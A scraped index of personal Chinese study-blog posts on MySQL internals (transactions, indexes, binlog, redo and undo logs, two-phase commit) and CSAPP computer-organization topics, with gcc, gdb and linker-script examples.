处理非常严谨的操作，例如转账等\n设置回滚点 并且返回—— rollback to\n事务的ACID特性\nAtomicity 原子性：一个事务不可再分，要么全部执行，要么不执行\nConsistensy 一致性:事务提交之后,数据库的完整性没有被破坏\nIsolation 隔离性：多个事务同时对一个数据库进行操作，不会产生冲突\nDuration 持久性:一旦提交,对于数据库的更改是永久的\n注意：仅当engine=innodb的时候，才能使用事务\n3.index（索引） # 索引的目的就是高效地获取数据.\n快速查询数据——实习生要理解到什么程度？\n没有建立index之前,我们要对于整张表进行扫描才能查找到对应的数据.\n遍历整张表,根据索引排列构建一个二叉搜索树,以后在查找的时候,对于这个树进行查找即可.\n这样的建立提升了查询和排序的效率.\n​\t但是建立了这样的树形结构,会占用存储空间,降低了update insert delete的效率.\u0026mdash;\u0026gt;要维护数据的索引结构,所以是否要建立要根据表本身的用途.\n数据结构 # 复习一下基本数据结构.\n这里基本都是B+树.\u0026mdash;\u0026gt;多路平衡搜索树,没那么难.\n如果仅有两个节点的话,层数会很深,检索会变慢.\n简单的语法:\n-- 创建索引index create unique index idx_emp_name on tb_emp(name); -- 查询索引的信息 show index from tb_emp; -- 创建主键就会自动生成索引---\u0026gt;主键索引,性能是最高的 -- 唯一约束---\u0026gt;唯一索引 -- 怎么删除一个index索引 drop index idx_emp_name on tb_emp; 4.存储过程 # 提前写好SQL一次执行，有点像函数\n利用delimiter设置结束符号\n企业规范约束 # 1.库表字段的约束规范 # 是否： is_vip unsigned tiny int length1️⃣ （不能浪费存储）\ndont’s\n不能有大写字母，\n不能以数字开头，\n下划线之间不能只有数字，\n不能出现负数，\n不能有关键字\n凡是有小数，必须用decimal数据类型\ndos\n主键：pk_key，\n字符串长度较小时，请使用char，\n强制存在的字段：\n1.id(unsigned bigint 单表的时候必须自增 primary key)\n2.create_time(datetime)\n3.update_time(datatime),\n2.索引规范 # 有某些必须：唯一索引\n不能查两个以上的关联查询\nvarchar上建立索引：建立索引的长度\n3.SQL开发约束 # count(xx,xxx,xx) count(*);\n判断为空的方法：\nwhere name = null ；\nwhere name is null；\n不要使用外键和级联（尤其是在高并发的项目中，牵一发而动全身）\n这些问题在Server层解决\n不允许使用存储过程（很难调试，其中的SQL写错了怎么办，和脚本不一样，移植性也很差）\nutf-8作为标准编码格式\n4.其他约束 # ORM框架查询不能写*\nQ:pujo类(最基础的java类)bool类型不能加is?\n*Mysql基本架构 # 三层架构 # ①、连接层主要负责客户端连接的管理，包括验证⽤户身份、权限校验、连接管理等。可以通过数据库连接池来提升连接的处理效率。 ②、服务层是 MySQL 的核⼼，主要负责查询解析、优化、执⾏等操作。在这⼀层，SQL 语句会经过解析、优化器优化，然后转发到存储引擎执⾏，并返回结果。这⼀层包含查询解析器、优化器、执⾏计划⽣成器、⽇志模块等。 ③、存储引擎层负责数据的实际存储和提取。MySQL ⽀持多种存储引擎，如 InnoDB、MyISAM、Memory 等。\nbinlog 在服务层，负责记录 SQL 语句的变化。它记录了所有对数据库进⾏更改的操作，⽤于数据恢复、主从复制等。\n也就是log日志系统来辅助恢复.\nudpate原理 # ⼀条 UPDATE 语句的执⾏过程包括读取数据⻚、加锁解锁、事务提交、⽇志记录等多个步骤。\n1.记录undo log,用于回滚.\n2.存储引擎还会将更新操作写⼊ redo log，状态标记为 prepare，并确保 redo log 持久化到磁盘。这⼀步可以保证即使系统崩溃，数据也能通过 redo log 恢复到⼀致状态。\n3.写完 redo log 后，MySQL 会获取⾏锁，将 a 的值修改为 1，标记为脏⻚，此时数据仍然在内存的 buffer pool中，不会⽴即写⼊磁盘。后台线程会在适当的时候将脏⻚刷盘，以提⾼性能。\n4.最后提交事务，redo log 中的记录被标记为 committed，⾏锁释放。\n段区页行 # MySQL 是以表的形式存储数据的，⽽表空间的结构则由**段、区、⻚、⾏**组成。\n​\t①、段：表空间由多个段组成，常⻅的段有数据段、索引段、回滚段等。创建索引时会创建两个段，数据段和索引段，**数据段⽤来存储叶⼦节点中的数据；索引段⽤来存储⾮叶⼦节点的数据。**回滚段包含了事务执⾏过程中⽤于数据回滚的旧数据。 ​\t②、区：段由⼀个或多个区组成，区是⼀组连续的⻚，通常包含 64 个连续的⻚，也就是 1M 的数据。使⽤区⽽⾮单独的⻚进⾏数据分配可以优化磁盘操作，减少磁盘寻道时间，特别是在⼤量数据进⾏读写时。 ​\t③、⻚：⻚是 InnoDB 存储数据的基本单元，标准⼤⼩为 16 KB，索引树上的⼀个节点就是⼀个⻚。也就意味着数据库每次读写都是以 16 KB 为单位的，⼀次最少从磁盘中读取 16KB 的数据到内存，⼀次最少写⼊16KB 的数据到磁盘。 ​\t④、⾏：InnoDB 采⽤⾏存储⽅式，意味着数据按照⾏进⾏组织和管理，⾏数据可能有多个格式，⽐如说COMPACT、REDUNDANT、DYNAMIC 等。MySQL 8.0 默认的⾏格式是 DYNAMIC，由COMPACT 演变⽽来，意味着这些数据如果超过了⻚内联存储的限制,则会被存储在溢出⻚中。\n理论上来说,你的数据是不能超过一整个page的大小,否则一定会造成行溢出的现象.\n*常见存储引擎 # 记住 MyISAM 不支持 外键 + 事务.\nnnoDB 和 MyISAM 的最⼤区别在于事务⽀持和锁机制。InnoDB ⽀持事务、⾏级锁，适合⼤多数业务系统；⽽MyISAM 不⽀持事务，⽤的是表锁，查询快但写⼊性能差，适合读多写少的场景。\n在你创建表之前就应当指定这个引擎:\nMariaDB [db01]\u0026gt; create table man( -\u0026gt; id int primary key -\u0026gt; )engine=myisam; Query OK, 0 rows affected (0.032 sec) 怎么选择存储引擎? # ⼤多数情况下，使⽤默认的 InnoDB 就可以了，InnoDB 可以提供事务、⾏级锁、外键、B+ 树索引等能⼒。 MyISAM 适合读多写少的场景。 MEMORY 适合临时表，数据量不⼤的情况。因为数据都存放在内存，所以速度⾮常快。\nInnoDB的内存结构 # InnoDB 的内存区域主要有两块，buffer pool 和 log buffer。\nbuffer pool ⽤于缓存数据⻚和索引⻚，提升读写性能；\u0026mdash;\u0026gt;就是B+树\n了解buffer pool么?\n​\tBuffer Pool 是 InnoDB 存储引擎中的⼀个内存缓冲区，它会将经常使⽤的**数据⻚、索引⻚**加载进内存，读的时候先查询 Buffer Pool，如果命中就不⽤访问磁盘了。\n其实也就是我们实现的page cache,没什么特殊的.\nlog buffer ⽤于缓存 redo log，提升写⼊性能。\u0026mdash;\u0026gt;就是日志的缓存.\n针对于一个数据页的结构 # 数据页的File Header都有指向上一个page或者下一个page的编号,构成一个双向的链表.\nInnoDB 对 LRU 算法的优化了解吗？ # ​\t了解，InnoDB 对 LRU 算法进⾏了改良，最近访问的数据并不直接放到 LRU 链表的头部，⽽是放在⼀个叫midpoiont 的位置。默认情况下，midpoint 位于 LRU 列表的 5/8 处。\n放到头部有可能导致cache抖动?\n比如一次扫描了整个page,热点数据反而会被刷掉.\n但是放在中间,就表明我要进行一些\u0026quot;观察\u0026quot;,真的是,就会被自然放到最前方.\n*log文件 # 有哪些log文件? # ​\t有 6 ⼤类，其中错误⽇志⽤于问题诊断，慢查询⽇志⽤于 SQL 性能分析，general log ⽤于记录所有的 SQL 语句，binlog ⽤于主从复制和数据恢复，redo log ⽤于保证事务持久性，undo log ⽤于事务回滚和 MVCC。\n①、错误⽇志（Error Log）：记录 MySQL 服务器启动、运⾏或停⽌时出现的问题。 ②、慢查询⽇志（Slow Query Log）：记录执⾏时间超过 long_query_time 值的所有 SQL 语句。这个时间值是可配置的，默认情况下，慢查询⽇志功能是关闭的。 ③、⼀般查询⽇志（General Query Log）：记录 MySQL 服务器的启动关闭信息，客户端的连接信息，以及更新、查询的 SQL 语句等。 ④、⼆进制⽇志（Binary Log）：记录所有修改数据库状态的 SQL 语句，以及每个语句的执⾏时间，如 INSERT、UPDATE、DELETE 等，但不包括 SELECT 和 SHOW 这类的操作。 ⑤、重做⽇志（Redo Log）：记录对于 InnoDB 表的每个写操作，不是 SQL 级别的，⽽是物理级别的，主要⽤于崩溃恢复。 ⑥、回滚⽇志（Undo Log，或者叫事务⽇志）：记录数据被修改前的值，⽤于事务的回滚以及MVCC的处理,因为多线程访问的时候,RC会返回旧版本.\n我们重点理解一下binLog # binlog 是⼀种物理⽇志，会在磁盘上记录数据库的所有修改操作。 如果误删了数据，就可以使⽤ binlog 进⾏回退到误删之前的状态。\n# 步骤1：恢复全量备份 mysql -u root -p \u0026lt; full_backup.sql # 步骤2：应⽤Binlog到指定时间点 mysqlbinlog --start-datetime=\u0026#34;2025-03-13 14:00:00\u0026#34; --stop-datetime=\u0026#34;2025-03-13 15:00:00\u0026#34; binlog.000001 | mysql -u root -p 如果要搭建主从复制，就可以让从库定时读取主库的 binlog。\n​\tMySQL 提供了三种格式的 binlog：Statement、Row 和 Mixed，分别对应 SQL 语句级别、⾏级别和混合级别，默认为⾏级别。\n从后缀名上来看，binlog ⽂件分为两类：以 .index 结尾的索引⽂件，以 .00000* 结尾的⼆进制⽇志⽂件。\n一些配置参数:\nmax_binlog_size=104857600 ⽤于设置每个 binlog ⽂件的⼤⼩，不建议设置太⼤，⽹络传送起来⽐较麻烦。当 binlog ⽂件达到 max_binlog_size 时，MySQL 会关闭当前⽂件并创建⼀个新的 binlog ⽂件。expire_logs_days = 7 ⽤于设置 binlog ⽂件的⾃动过期时间为 7 天。过期的 binlog ⽂件会被⾃动删除。防⽌⻓时间累积的 binlog ⽂件占⽤过多存储空间，技术派实战项⽬所在的项⽬是丐版服务器，所以这个配置很重要。 binlog-do-db=db_name,指定哪些数据库表的更新应该被记录。 binlog-ignore-db=db_name ,指定忽略哪些数据库表的更新(比如有一些我们不在乎或者实现一致性是没有必要的)。 sync_binlog=0 ,设置每多少次 binlog 写操作会触发⼀次磁盘同步操作。默认值为 0，表示 MySQL 不会主动触发同步操作，⽽是依赖操作系统的磁盘缓存策略。即当执⾏写操作时，数据会先写⼊缓存，当缓存区满了再由操作系统将数据⼀次性刷⼊磁盘(只用我们OS自己的策略)。如果设置为 1，表示每次 binlog 写操作后都会同步到磁盘，虽然可以保证数据能够及时写⼊磁盘，但会降低性能。\n注意,这里是把binlog cache刷入binlog磁盘文件内部.\nMariaDB [db01]\u0026gt; show variables like \u0026#39;%log_bin%\u0026#39;; +---------------------------------+-------+ | Variable_name | Value | +---------------------------------+-------+ | log_bin | OFF | | log_bin_basename | | | log_bin_compress | OFF | | log_bin_compress_min_len | 256 | | log_bin_index | | | log_bin_trust_function_creators | OFF | | sql_log_bin | ON | +---------------------------------+-------+ 7 rows in set (0.002 sec) 有了binlog为什么还要undolog redolog？ # binlog 属于 Server 层，与存储引擎⽆关，⽆法直接操作物理数据⻚。⽽ redo log 和 undo log 是 InnoDB 存储引擎实现 ACID 的基⽯。\n1.binlog 关注的是逻辑变更的全局记录.比如记录一条sql语句的变化.\n2.redo log ⽤于确保物理变更的持久性，确保事务最终能够刷盘成功.\n3.undo log 是逻辑逆向操作⽇志，记录的是旧值，⽅便恢复到事务开始前的状态.\n另外⼀种回答⽅式。\nbinlog 会记录整个 SQL 或⾏变化.\nredo log 是为了恢复“已提交但未刷盘”的数据，undo log 是为了撤销未提交的事务.\n我们理解一下:\n日志名称 作用层级 核心关注点 核心目的 与其他日志的关系 Binlog (Binary Log) Server 层 逻辑变更（SQL 或行数据） 主从复制、数据恢复（时间点）。它是一个全局、顺序的日志。 先于 Redo Log 准备并提交（遵循两阶段提交）。 Redo Log InnoDB 存储引擎层 物理变更（数据页上的修改） 保证事务的持久性（Durability），即使宕机也能恢复已提交的事务。 保证 Redo Log 写入成功是 Binlog 最终提交的前提。 Undo Log InnoDB 存储引擎层 逻辑逆向操作（记录旧值） 保证事务的原子性（Atomicity）和一致性（Consistency）（用于回滚）以及 MVCC 的实现。 Redo Log 也会记录 Undo Log 的修改。 您的理解：“其实 redo log 还是给 binlog 服务的”，这个逻辑关系是颠倒的。\nRedo Log 和 Binlog 的关系是体现在 MySQL 的“两阶段提交” 机制中：\n准备阶段 (Prepare)： 事务的修改写入 Redo Log，并标记为 Prepare 状态。 提交阶段 (Commit)： 事务的修改写入 Binlog。 最终提交 (Commit)： Redo Log 标记为 Commit 状态。 如果只写了 Binlog 而没有完成 Redo Log 的 Commit，那么系统会认为这个事务没有成功。\n正确的理解是：\nRedo Log 保证了事务执行的 持久性 (即使宕机，已提交的事务也不丢)。 Undo Log 保证了事务执行的 原子性 (可以回滚) 和 一致性 (MVCC)。 Binlog 保证了数据库的 可恢复性 (时间点恢复) 和 高可用性 (主从复制)。 我们来举个例子,以⼀次事务更新为例：\n# 开启事务 BEGIN; # 更新数据 UPDATE users SET age = age + 1 WHERE id = 1; # 提交事务 COMMIT; 1.事务开始的时候会⽣成 undo log，记录更新前的数据，⽐如原值是 18：\n事务开始之前,undolog先记录下来之前的value.\nundo log: id=1, age=18 2.修改数据的时候，会将数据写⼊到 redo log。 ⽐如数据⻚ page_id=123 上，id=1 的⽤户被更新为 age=26：\nredo log (prepare): page_id=123, offset=0x40, before=18, after=26 3.等事务提交的时候，redo log 刷盘，binlog 刷盘。 binlog 写完之后，redo log 的状态会变为 commit：\nredo log (commit): page_id=123, offset=0x40, before=18, after=26 binlog 如果是 Statement 格式，会记录⼀条 SQL 语句：\nUPDATE users SET age = age + 1 WHERE id = 1; binlog和redolog具体的区别? # ​\tbinlog 记录的是逻辑⽇志，包括原始的 SQL 语句或者⾏数据变化，例如“将 id=2 这⾏数据的 age 字段+1”。redo log 记录物理⽇志，即数据⻚的具体修改，例如“将 page_id=123 上 offset=0x40 的数据从 18 修改为 26”。 ​\tbinlog 是追加写⼊的，⽂件写满后会新建⽂件继续写⼊，不会覆盖历史⽇志，保存的是全量操作记录；redo log是循环写⼊的，空间是固定的，写满后会覆盖旧的⽇志，仅保存未刷盘的脏⻚⽇志，已持久化的数据会被清除。 ​\t另外，为保证两种⽇志的⼀致性，innodb 采⽤了两阶段提交策略，redo log 在事务执⾏过程中持续写⼊，并在事务提交前进⼊ prepare 状态；binlog 在事务提交的最后阶段写⼊，之后 redo log 会被标记为 commit 状态。可以通过回放 binlog 实现数据同步或者恢复到指定时间点；redo log ⽤来确保事务提交后即使系统宕机，数据仍然可以通过重放 redo log 恢复。\n为什么要进行2PC的两阶段提交? # 为了保证 redo log 和 binlog 中的数据⼀致性，防⽌主从复制和事务状态不⼀致。\n为什么 2PC 能保证 redo log 和 binlog 的强⼀致性？\n假如 MySQL 在预写 redo log 之后、写⼊ binlog 之前崩溃。那么 MySQL 重启后 InnoDB 会回滚该事务，因为redo log 不是提交状态。并且由于 binlog 中没有写⼊数据，所以从库也不会有该事务的数据。\n假如 MySQL 在写⼊ binlog 之后、redo log 提交之前崩溃。那么 MySQL 重启后 InnoDB 会提交该事务，因为redo log 是完整的 prepare 状态。并且由于 binlog 中有写⼊数据，所以从库也会同步到该事务的数据。\nEnd.\n","date":"12 March 2025","externalUrl":null,"permalink":"/mysql/mysql%E5%9F%BA%E7%A1%80/","section":"","summary":"\u003cblockquote\u003e\n\u003cp\u003e本期封面是笔者早期最喜欢的动漫角色之一，《とある科学の超電磁砲》中的长点上机学园的天才少女布束砥信，至今笔者的github头像都是她\u0026hellip;\u0026hellip;\u003c/p\u003e\u003c/blockquote\u003e\n\n\n\u003ch1 class=\"relative group\"\u003eMySQL基础 \n    \u003cdiv id=\"mysql%E5%9F%BA%E7%A1%80\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#mysql%E5%9F%BA%E7%A1%80\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t1.2024.7.6,本文仅仅是笔者对于SQL语句的\u003cstrong\u003e简单熟悉和复习的笔记\u003c/strong\u003e，所以并不会对于更深刻的细节进行考究，也不会介绍怎么安装和配置MySQL的环境以及为什么我们要使用关系型数据库。Linux肯定是最方便的.\u003c/p\u003e\n\u003cp\u003e​\t2.2025.10.8,为了找实习,我们进行第二次的学习,会深入一些关于SQL的细节问题.\u003c/p\u003e","title":"MySQL基础","type":"mysql"},{"content":" 本期封面出自《轻音少女》的第20集，是我个人认为所看的动漫中印象最深刻的一集。\nComputer Organization # [!NOTE]\n在本篇之前，我已经实现了一个非常简单的CPU（感觉都是属于数字电路的内容，当然也是计组的一部分），课程笔记以及资源都来自于B站：Cs Primer。\n所以在这里只是简单记录一些感觉有必要的理论知识，还会不断补充。\nCache（存储器层次结构） # 1.DRAM SRAM SSD 机械硬盘读写以及存储，取内存和实际CPU之间的差异性。\n2.程序的局部性（Locality）:程序倾向于引用邻近于最近引用过的数据项或者是已经引用过的数据项本身（for遍历数组）\na.空间局部性 b.时间局部性\n引入：\n高速缓存存储器 # 1.结构 # SBE为总的大小。\n寻址原理：hash\n2.直接映射高速缓存（direct-mapped cache） # 就是每组只有一个行\n过程\na.组选择\n为什么把中间的位作为组索引而不是更高的位？\n如果高位做索引，那么很容易把一堆连续的块映射到一组高速缓存块里面，这样不符合空间局部性。\n中间的随机性相对更大一些。\nb.找到了组，进行行匹配\nc.根据块偏移位来寻找第一个字节的位置\nd.如果没有命中，从下一级内存中取相应的内存块并且直接做替换的操作\ne.实际过程：开始缓存为空，冷不命中，从L2中加载数据到L1,然后返回，接着假如标志位不相同，发生冲突不命中，进行替换操作。\nd.冲突不命中常见：thrash,高速缓存反复的加载和驱逐相同的一些组。\n3.组相联高速缓存(set associative cache) # 就是每个组包含多于一个的行\n和每个行进行一次匹配\nLFU和LRU策略\n4.全相联高速缓存（fully asscociative cache） # 就是只有一个组，里面有很多行\n没有组的选择，只有标记位和块偏移。\n单周期多周期处理器 # 一个时钟周期内完成一条指令\n多周期就是一条指令多个时钟周期\n流水线技术 # 五阶段流水线 # 把每个指令都填充成五个阶段，防止冲突\n流水线冒险 # 结构冒险：硬件资源产生冲突 # 数据冒险：逻辑上的数据依赖性产生冲突 # 控制冒险：跳转到别的指令，导致流水线之前准备的指令无效 # 解决：分支预测（动态）\n在X86系统上编写和运行程序 # 一个C程序处理流程 # 预处理-编译-汇编-链接-程序加载执行\n假设我们有文件main.c hello.c\ngcc main.c hello.c\t//这一条指令包含了上述的四个步骤 gcc -E hello.c -o hello.i //这表示对于文件进行预处理 -o是指定名称（擦除并且进行复制粘贴的流程） gcc -S hello.i -o hello.s\t//把预处理之后的文件处理成汇编代码 gcc -c hello.s -o hello.o\t//汇编成一个二进制文件，但是不进行链接的操作 工具：readelf（查看段的偏移） objdump（反汇编） hexdump（查看二进制文件的机器码）\ngcc main.o hello.o\t//直接将两个文件进行链接，如下是链接的过程 接着是程序加载执行的流程\n常见X86汇编指令 # 可以参照CSAPP熟悉基本语法，达到能读的要求即可\n[!TIP]\njmp类条件跳转指令之前可以跟其他许多指令\n比如 subl a,b 也可以看a和b之间满足的条件\n64位使用的寄存器 # 数据传送指令 # move：不能从内存直接到内存传送 # [!NOTE]\n我看过好几遍书，但是我感觉自己最难理解的地方就是函数的调用以及递归这里的东西，建议大家从push这里开始细细理解。\npush指令： # 1.把栈指针减去8,得到栈顶位置，此时栈顶还没有元素。2.把目的操作数放到栈顶。（push只要一个byte，栈上只是放了一堆data，和寄存器，和内存都没有关系）\n那么pop指令同理：1.把栈顶的值读入一个目标寄存器。2.把栈指针加8。\n条件控制 # if for while等语句都是条件跳转来实现的\nswitch语句当case范围较大时也是条件跳转，当范围较小是利用跳转表，一个连续数组的值域包含了所有的case情况(并且case的数量较多)\n*Process（过程） # 控制 + 传递 + 内存管理\n运行时栈（提前准备） # P去调用Q，首先存放返回地址，表明Q返回时从P的哪个位置开始执行，这个地址也是P栈帧的一部分。\n接着为Q分配一个栈帧，大多数的栈帧都是定长的，通过寄存器传递参数，如果大于6个，P在调用Q之前提前在自己的栈帧里存储好这些参数。\n转移控制（怎么交接控制权利） # call:把rip的值设置成callee的首地址，这样就把执行权利转换，接着把call指令下一条指令的地址压入栈中。\nret：把压入栈的地址弹出来，并且把rip的值设置成这个地址，这样就交还了控制权利。\n数据传送（怎么给Callee传递一些参数） # 在参数小于6个的情况下，我们直接用寄存器来传递，用rax来获得调用方法的返回值即可。\n在上图的Current frame中有一个Argument build area，这就是一个参数构造区，如果它也要调用一个参数多于6个的方法，那么就要提前在自己的栈帧里准备好，再执行call指令（注意：第七个参数会在栈的顶部）。\n栈上的局部存储（Callee中的局部变量是怎么实现的） # 比如局部变量太多，要取局部变量的一个地址，或者局部变量是数组及结构体等。\n还是上图，参数构造区之上就是我们减少栈指针分配给局部变量的空间。\n下例出自CSAPP\nlong swap_add (long *XP , long * yp) { long x = *xp ; long y = * yp ; *xp = y ; *yp = x ; return x + y ; } long caller () { //要处理以下两个局部变量，我就要为他们产生地址。 long argl = 534 ; long arg2 = 1057 ; long sum = swap_add (\u0026amp;argl , \u0026amp;arg2) ; long diff = argl - arg2 ; return sum * diff; } 以下是汇编代码\nlong caller() caller: subq $16 , %rsp movq $534 , (%rsp) movq $1057 , 8(%rsp) leaq 8(%rsp) , %rsi movq %rsp , %rdi call swap_add\t;这里的细节：方法虽然已经返回（返回之后之前压入的返回地址就会被弹出），但是栈帧还在，所以分配的局部变量还在 movq (%rsp) , %rdx subq 8(%rsp) ,%rdx imulq %rdx , %rax addq $16 , %rsp\t;此时栈帧不存在，会被后来的data覆盖掉 ret 栈帧分配到底拿来干嘛了？\n看下图：\n分配栈帧，先用来存放本方法要用的局部变量，接着是多于6个的参数从右至左依次压入栈中，然后call，注意，不要混淆局部变量和传递的参数，在被调用的方法中是不会用前一个方法栈帧中的局部变量的。\n寄存器中的局部存储空间 # 🔹 这些寄存器主要用于什么？ # 1. 存储局部变量 # （这也是一种存储局部变量的方法，比如在for循环中的index）\n如果一个函数有局部变量，但寄存器分配不足，编译器可能会把一些变量保存在被调用者保存寄存器里，避免频繁访问栈（比栈上的变量访问快）。\n2. 维持长期变量（Long-lived variables） # 如果某个变量在整个函数生命周期内都会被使用，而非临时数据，就可能放在 %rbx、%r12-%r15 这些寄存器里。\n3. 维护栈帧指针（%rbp） # 虽然现代编译器可能会省略栈帧指针（Frame Pointer Omission, FPO），但在调试模式下，%rbp 仍然用于保持当前函数的栈基址，帮助回溯调用栈。\n4. 传递跨函数调用的值 # 在一些情况下，如果一个值需要在多个函数调用之间保持不变，就可能存入被调用者保存寄存器，比如：\n递归函数中，某些参数可能需要跨多次递归调用保持不变。 在协程或上下文切换的代码里，某些寄存器可能存储特定的任务状态。 递归过程 # 到这里，理解递归过程就是简单的了，调用自己和调用任何一个过程都是类似的，每个函数都有自己的私有的栈帧。\n我们难理解的情况是栈帧里东西太复杂的情况。\n数组的分配和访问 # 1.指针访问，如果是地址，就用leaq加载有效地址，如果是取值就用mov指令即可。\n2.多维数组\n3.定长变长数组以及结构体\n关于缓冲区溢出问题 # C语言基础 # 关于位运算的技巧\n宏定义函数多行用\\分开，用do {\u0026hellip;\u0026hellip;} while(0)吃掉;（细节问题）\n内联函数：类似宏定义，调用的函数不跳转，直接展开，节约资源（根据编译器的情况而定)\nstatic inline int(...){......}\t//一般这样定义在头文件里使用 关于C语言不再赘述\n浮点数详解 # 浮点数存储形式 # （小数点浮动）进制转换（数字电路内容）\n[!NOTE]\nIEEE754典中典\n这里的尾数其实指的就是小数点之后的二进制表示：\n比如2.5 = 10.1b\n即 $$ 2.5 = 1.01*2^1 $$\n[!NOTE]\n这是一个规格化的浮点数，所谓规格化，我们默认一个浮点数是大于1的，即有一个隐含的前导1,我们只在尾数的23位中存储小数点的部分即可，但是如果指数部分为0,但是尾数不为0,这就是一个非规格化的浮点数，计算的规则已经发生了改变，此时的指数为1-bias，为了产生平滑的过渡。\n非规格化浮点数及舍入的问题 # 舍入：就近舍入，相同0优先\n指数部分越大，密度变小，精度就会变低\n浮点数的运算 # 先把指数设置相同，再相加这会导致大数吃掉小数的情况产生\n采用如下的累加算法\n比较问题：0.1 + 0.2 != 0.3（无限不循环小数相加导致的）\n[!NOTE]\n还有一个值得注意的点是转换类型时候的最近偶数舍入（银行家舍入），这有利于减少累积舍入的误差。\n课后作业 # 此时我们去做CSAPP的3个lab，并且把CSAPP2,3章的课后习题都解决一遍（我懒的写第二章了，我只写一下第三章的内容）\n1.datalab\n2.bomblab（gdb的使用，很有难度,我觉得可以先多看看书，做一下练习和课后习题，理解之后再去上手）\ngdb常用指令（来自https://arthals.ink/blog/bomb-lab作为参考的blog）\np $rax # 打印寄存器 rax 的值 p $rsp # 打印栈指针的值 p/x $rsp # 打印栈指针的值，以十六进制显示 p/d $rsp # 打印栈指针的值，以十进制显示 x/2x $rsp # 以十六进制格式查看栈指针 %rsp 指向的内存位置 M[%rsp] 开始的两个单位。 x/2d $rsp # 以十进制格式查看栈指针 %rsp 指向的内存位置 M[%rsp] 开始的两个单位。 x/2c $rsp # 以字符格式查看栈指针 %rsp 指向的内存位置 M[%rsp] 开始的两个单位。 x/s $rsp # 把栈指针指向的内存位置 M[%rsp] 当作 C 风格字符串来查看。 x/b $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 1 字节。 x/h $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 2 字节（半字）。 x/w $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 4 字节（字）。 x/g $rsp # 检查栈指针指向的内存位置 M[%rsp] 开始的 8 字节（双字）。 info registers # 打印所有寄存器的值 info breakpoints # 打印所有断点的信息 delete breakpoints 1 # 删除第一个断点，可以简写为 d 1 3.attacklab（模拟攻击）\n[!NOTE]\n上述工作会花费很长时间，但是欲速则不达，如果难以下手，你可以参考CSDIY上的一些推荐博客。\n链接简单解读 # Static Linking # 可以理解是怎么把你写的多文件程序整合在一起运行。\n可重定位目标文件的分析(Relocatable File) # 单个文件汇编之后，后缀为.o的文件就是一个可重定位目标文件。\n（用以下的两个程序）\nreadelf -a main.o\t//分析elf文件内容 hexdump -C main.o\t//直接查看文件的二进制信息 符号表信息 # 弱符号和强符号 # 可执行文件 # 查看可执行文件的Program Header（可执行文件是怎么被加载执行的？）\nProgram Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align LOAD 0x001020 0x00800020 0x00800020 0x00198 0x00198 R E 0x1000 LOAD 0x002000 0x00801000 0x00801000 0x00038 0x00050 RW 0x1000 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10 Section to Segment mapping: Segment Sections... 00 .text .rodata 01 .data .bss 02 静态链接的过程 # /* Simple linker script for os user-level programs. See the GNU ld \u0026#39;info\u0026#39; manual (\u0026#34;info ld\u0026#34;) to learn the syntax. */ //一个简单的linker脚本 OUTPUT_FORMAT(\u0026#34;elf32-i386\u0026#34;, \u0026#34;elf32-i386\u0026#34;, \u0026#34;elf32-i386\u0026#34;)\t//输出格式 OUTPUT_ARCH(i386)\t//架构类型 ENTRY(main)\t//程序的入口点（main函数） SECTIONS { /* Load programs at this address: \u0026#34;.\u0026#34; means the current address */ //在这个地址对程序进行加载 . = 0x800020; //以下都是把每个目标文件中的相同的段合并到新的段 .text : { *(.text .stub .text.* .gnu.linkonce.t.*) } PROVIDE(etext = .); /* Define the \u0026#39;etext\u0026#39; symbol to this value */ .rodata : { *(.rodata .rodata.* .gnu.linkonce.r.*) } /* Adjust the address for the data segment to the next page */ //转页进行存储，以上的页就可以设置成ro的一个页 . = ALIGN(0x1000); .data : { *(.data) } //记录下来，把.bss段设置成0 PROVIDE(edata = .); .bss : { *(.bss) } PROVIDE(end = .); /DISCARD/ : { *(.eh_frame .note.GNU-stack .comment) } } 重定位信息 # ","date":"10 March 2025","externalUrl":null,"permalink":"/csapp/computerorgnization/","section":"","summary":"\u003cblockquote\u003e\n\u003cp\u003e本期封面出自《轻音少女》的第20集，是我个人认为所看的动漫中印象最深刻的一集。\u003c/p\u003e\u003c/blockquote\u003e\n\n\n\u003ch1 class=\"relative group\"\u003e\u003cstrong\u003eComputer Organization\u003c/strong\u003e \n    \u003cdiv id=\"computer-organization\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#computer-organization\" aria-label=\"Anchor\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e[!NOTE]\u003c/p\u003e\n\u003cp\u003e在本篇之前，我已经实现了一个非常简单的CPU（感觉都是属于数字电路的内容，当然也是计组的一部分），课程笔记以及资源都来自于B站：Cs Primer。\u003c/p\u003e","title":"ComputerOrgnization","type":"csapp"},{"content":" 本期封面是动漫《轻音少女》第一季时唯一律澪之间发生小矛盾的故事，此时，她们三个正在远远的看着mio\u0026hellip;\u0026hellip;\nCSAPP:BombLab # [!NOTE]\n本文主要参考博客：arthals.ink，如果你要学习方法，你只要看TA写的就可以了，我只看了前两层， 只是做个记录，我认为对于我来说很好的解决问题方式就是写注释(所以我这里有逐行的注释)。\ngdb指令：\np $rax # 打印寄存器 rax 的值 p $rsp # 打印栈指针的值 p/x $rsp # 打印栈指针的值，以十六进制显示 p/d $rsp # 打印栈指针的值，以十进制显示 x/2x $rsp # 以十六进制格式查看栈指针 %rsp 指向的内存位置 M[%rsp] 开始的两个单位。 x/2d $rsp # 以十进制格式查看栈指针 %rsp 指向的内存位置 M[%rsp] 开始的两个单位。 x/2c $rsp # 以字符格式查看栈指针 %rsp 